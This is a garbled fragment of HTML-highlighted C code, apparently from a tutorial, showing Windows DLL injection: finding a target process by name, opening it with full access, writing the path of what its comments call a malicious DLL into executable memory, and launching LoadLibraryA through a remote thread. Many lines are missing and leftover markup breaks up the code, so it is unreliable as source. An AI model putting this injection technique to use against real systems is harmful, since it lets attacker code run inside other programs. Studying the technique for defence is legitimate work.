<spanclass="w"></span><spanclass="n">HANDLE</span><spanclass="w"></span><spanclass="n">hSnapshot</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">CreateToolhelp32Snapshot</span><spanclass="p">(</span><spanclass="w"></span><spanclass="c1">// Snapshot the specificed process</span>
<spanclass="w"></span><spanclass="n">TH32CS_SNAPPROCESS</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Include all processes residing on the system</span>
<spanclass="w"></span><spanclass="mi">0</span><spanclass="w"></span><spanclass="c1">// Indicates the current process</span>
<spanclass="w"></span><spanclass="n">PROCESSENTRY32</span><spanclass="w"></span><spanclass="n">entry</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Adds a pointer to the PROCESSENTRY32 structure</span>
<spanclass="w"></span><spanclass="n">entry</span><spanclass="p">.</span><spanclass="n">dwSize</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="k">sizeof</span><spanclass="p">(</span><spanclass="n">PROCESSENTRY32</span><spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Obtains the byte size of the structure</span>
<spanclass="w"></span><spanclass="k">if</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">Process32First</span><spanclass="p">(</span><spanclass="w"></span><spanclass="c1">// Obtains the first process in the snapshot</span>
<spanclass="w"></span><spanclass="n">hSnapshot</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the snapshot</span>
<spanclass="w"></span><spanclass="o">&</span><spanclass="n">entry</span><spanclass="w"></span><spanclass="c1">// Pointer to the PROCESSENTRY32 structure</span>
<spanclass="w"></span><spanclass="k">if</span><spanclass="w"></span><spanclass="p">(</span><spanclass="o">!</span><spanclass="n">strcmp</span><spanclass="p">(</span><spanclass="w"></span><spanclass="c1">// Compares two strings to determine if the process name matches</span>
<spanclass="w"></span><spanclass="n">entry</span><spanclass="p">.</span><spanclass="n">szExeFile</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Executable file name of the current process from PROCESSENTRY32</span>
<spanclass="w"></span><spanclass="n">processName</span><spanclass="w"></span><spanclass="c1">// Supplied process name</span>
<spanclass="w"></span><spanclass="k">return</span><spanclass="w"></span><spanclass="n">entry</span><spanclass="p">.</span><spanclass="n">th32ProcessID</span><spanclass="p">;</span><spanclass="w"></span><spanclass="c1">// Process ID of matched process</span>
<spanclass="w"></span><spanclass="p">}</span><spanclass="w"></span><spanclass="k">while</span><spanclass="w"></span><spanclass="p">(</span><spanclass="n">Process32Next</span><spanclass="p">(</span><spanclass="w"></span><spanclass="c1">// Obtains the next process in the snapshot</span>
<spanclass="w"></span><spanclass="n">hSnapshot</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle of the snapshot</span>
<spanclass="n">DWORD</span><spanclass="w"></span><spanclass="n">processId</span><spanclass="w"></span><spanclass="o">=</span><spanclass="w"></span><spanclass="n">getProcessId</span><spanclass="p">(</span><spanclass="n">processName</span><spanclass="p">);</span><spanclass="w"></span><spanclass="c1">// Stores the enumerated process ID</span>
<spanclass="w"></span><spanclass="n">PROCESS_ALL_ACCESS</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Requests all possible access rights</span>
<spanclass="w"></span><spanclass="n">FALSE</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Child processes do not inheret parent process handle</span>
<spanclass="w"></span><spanclass="n">processId</span><spanclass="w"></span><spanclass="c1">// Stored process ID</span>
<spanclass="w"></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle for the target process</span>
<spanclass="w"></span><spanclass="n">strlen</span><spanclass="p">(</span><spanclass="n">dllLibFullPath</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Size of the DLL path</span>
<spanclass="w"></span><spanclass="n">MEM_RESERVE</span><spanclass="w"></span><spanclass="o">|</span><spanclass="w"></span><spanclass="n">MEM_COMMIT</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Reserves and commits pages</span>
<spanclass="w"></span><spanclass="n">PAGE_EXECUTE_READWRITE</span><spanclass="w"></span><spanclass="c1">// Enables execution and read/write access to the commited pages</span>
<spanclass="w"></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle for the target process</span>
<spanclass="w"></span><spanclass="n">dllLibFullPath</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Path to the malicious DLL</span>
<spanclass="w"></span><spanclass="n">strlen</span><spanclass="p">(</span><spanclass="n">dllLibFullPath</span><spanclass="p">)</span><spanclass="w"></span><spanclass="o">+</span><spanclass="w"></span><spanclass="mi">1</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Byte size of the malicious DLL</span>
<spanclass="w"></span><spanclass="n">GetModuleHandle</span><spanclass="p">(</span><spanclass="s">"kernel32.dll"</span><spanclass="p">),</span><spanclass="w"></span><spanclass="c1">// Handle of the module containing the call</span>
<spanclass="w"></span><spanclass="s">"LoadLibraryA"</span><spanclass="w"></span><spanclass="c1">// API call to import</span>
<spanclass="w"></span><spanclass="n">hProcess</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Handle for the target process</span>
<spanclass="w"></span><spanclass="mi">0</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Default size from the execuatable of the stack</span>
<spanclass="w"></span><spanclass="n">dllAllocatedMemory</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// pointer to the allocated memory region</span>
<spanclass="w"></span><spanclass="mi">0</span><spanclass="p">,</span><spanclass="w"></span><spanclass="c1">// Runs immediately after creation</span>